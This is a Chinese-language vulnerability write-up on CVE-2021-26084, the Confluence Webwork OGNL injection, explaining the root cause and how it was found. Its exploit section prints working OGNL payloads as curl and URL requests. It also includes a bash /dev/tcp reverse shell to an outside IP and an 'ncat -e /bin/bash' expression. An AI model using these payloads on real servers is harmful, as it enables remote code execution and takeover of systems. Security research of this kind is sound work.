
CVE-2021-26084 - Confluence Server Webwork OGNL 注入
本报告概述了 CVE-2021-26084 —— Confluence Server Webwork OGNL 注入 [1],该漏洞允许经过身份验证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。
Confluence Server / Data Center 使用 Webwork 2 MVC 框架处理 Web 请求,其视图层主要由 Velocity 模板组成。当 Velocity 模板使用 value 属性中包含 $ 的 Webwork 标签时,会发生双重求值。当遇到 value 属性中含有 $ 的 Webwork 标签时,在 Velocity 模板解析期间会进行初始求值;随后该求值结果会被传递给 Webwork 标签,后者再将该值作为 OGNL 表达式进一步求值。如果 action 类为 value 属性中使用的参数暴露了 setter 函数,那么该参数可以通过 URL 参数从 URL 中设置。因此,攻击者通过构造包含 OGNL 载荷的 URL,可以在受影响的 Confluence Server / Data Center 版本上执行远程代码。
# UnAuthenticated RCE - based on the awesome write-up at httpvoid; courtesy of Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'
# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>
表达式语言注入漏洞产生于应用程序将用户可控的数据合并到由代码解释器动态求值的字符串中。如果用户数据未经过严格验证,攻击者可以利用特制输入修改要执行的代码,并注入将由服务器执行的任意代码 [2]。对象图导航语言(OGNL)[3] 是一种用于处理 Java 对象的表达式语言。当存在 OGNL 注入漏洞时,攻击者可以注入 OGNL 表达式,进而执行任意 Java 代码。除了属性 get/set 之外,OGNL 还支持许多其他功能,从漏洞利用开发的角度来看,以下功能似乎值得关注:
静态方法调用:@java.lang.Runtime@getRuntime()
构造函数调用:new java.lang.String[]{'/bin/bash','-c', 'xcalc'}
能够使用上下文变量:#attr["webwork.valueStack"]
方法调用:#attr["webwork.valueStack"].findValue()
将上述结构组合起来,可以构造出有效的 OGNL 表达式。一个典型的 OGNL 表达式如下所示:
@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')
WebWork 2 是一个基于命令模式框架 API XWork 构建的 pull 型 MVC 框架,是广受欢迎的 Apache Struts2 的前身。Confluence 使用 OpenSymphony 的 WebWork 2 处理用户提交的 Web 请求。Webwork 支持基于 OGNL 的强大表达式语言,用于导航其对象栈(又称 ValueStack)。它还支持多种视图技术,包括 JSP、FreeMarker、Velocity,并提供了丰富的标签库。Mike Cannon-Brookes 所著的 “WebWork: Strutting the OpenSymphony way” [4] 对 Webwork 2 框架进行了出色的概述。在与本漏洞相关的众多特性中,Webwork 对以下功能的支持尤为值得关注:
漏洞的检测主要采用白盒测试方法,通过源代码插桩来分析 OGNL 求值。在 GHSL 研究员 Man Yue Mo 对 Apache Struts OGNL 注入的出色研究之后 [5] [6] [7],我们注意到 evaluateParams 方法是 UIBean 类中的一个值得关注的候选点。我们使用 JD GUI 提取了 Confluence Data Center(atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar)中 webwork 库的代码,并分析了是否存在与 evaluateParams 类似的方法。最接近的是 com.opensymphony.webwork.views.jsp.ui.AbstractUITag 中的 protected void evaluateParams(OgnlValueStack stack) 方法。源代码分析进一步揭示,存在一个 com.opensymphony.webwork.util.SafeExpressionUtil 类,它阻止了大多数 OGNL 载荷。
由于作者几乎没有通过调试器运行 Confluence Server 的经验,因此使用了原始的 print 语句将上述类中的 OGNL 求值结果输出。使用源代码插桩的步骤如下:
String DL = "\n" + (new Exception().getStackTrace()[0]).getClassName() + "::" + (new Exception().getStackTrace()[0]).getMethodName() + ":";
Object o = findValue(this.valueAttr, valueClazz);
addParameter("nameValue", o);
System.out.println("\033[1;33m" + DL + (new Exception().getStackTrace()[0]).getLineNumber() + "\t findValue( " + this.valueAttr + " ) = " + o + "\033[0m");
# use javap on the classes inside webwork jar to identify the source and target versions
javac -target 1.6 -source 1.6 -classpath "/opt/atlassian-confluence-7.12.4/lib/*:/opt/atlassian-confluence-7.12.4/confluence/WEB-INF/lib/*" -d . *.java
jar vuf webwork-2.1.5-atlassian-3.jar com
在插桩后的 webwork 库就绪后,观察到 webwork 标签的 value 属性是一个潜在的注入点,因为渲染最终会进入 evaluateParams 方法,并且 value 属性会被作为 OGNL 求值。同时还观察到,如果 Velocity 模板中包含 value 属性使用 $ 结构设置的 webwork 标签,则该值会在 Velocity 模板渲染期间被求值,随后该求值结果被传递给 Webwork 标签。此类标签的典型示例如下:
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#tag( "Hidden" "name='token'" "value='$!action.token'" )
#tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value='$!action.featureKey'" "theme='aui'" "template='text.vm'")
尽管 value 属性将输入作为 OGNL 处理,但 $ 结构周围存在单引号,导致输入被当作字符串处理。为了绕过这一限制,使用了 Unicode 转义序列,因为直接传入单引号会在到达 OGNL 执行点之前被转换为 HTML 实体。Unicode 转义序列在 OgnlUtil.compile 中解析,并形成 ognl.ASTAdd,从而使注入的 OGNL 载荷被求值。
parsedExpression = OgnlUtil.compile( '\u0027+(7*7)+\u0027' ) = "" + (7 * 7) + ""
com.opensymphony.webwork.views.jsp.ui.AbstractUITag::evaluateParams --> findValue( '\u0027+(7*7)+\u0027' ) = 49

我们在 Confluence 代码库中搜索了与正则表达式模式匹配的 Velocity 文件,这些文件的属性中含有 webwork 标签和 $。一旦确定了 Velocity 文件,就通过查看 xwork 配置文件(即 xwork.xml,位于 confluence-x.y.z.jar 内)来确定使用该 Velocity 模板的对应 action 类。该过程大致如下:
content-editor.vm(atlassian-confluence-7.12.4/confluence/template/custom)中包含以下 Webwork 标签:
#if ($templateApplied)
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#end
value 属性中的 templateId 可以通过向 docreatepagefromtemplate.action 端点传递 URL 参数 sourceTemplateId 来设置。当调用名为 sourceTemplateId 的 URL 参数时,框架会调用 action 类(com.atlassian.confluence.pages.actions.CreatePageFromTemplateAction)的 setter 函数 setSourceTemplateId,从而设置 sourceTemplateId 成员变量的值。
当解析 Velocity 模板时,${templateId} 首先通过调用 action 类的 getTemplateId 函数进行求值,该函数返回 sourceTemplateId 成员变量的值。

该求值结果随后被传递给 Webwork 标签的 value 属性,后者将 value 属性作为 OGNL 表达式进行求值。最后,通过使用 Unicode 转义序列并利用 #attr["webwork.valueStack"] 变量,可以绕过 WebWork 标签使用的 SafeExpressionUtil 沙箱,并执行任意 Java 代码。
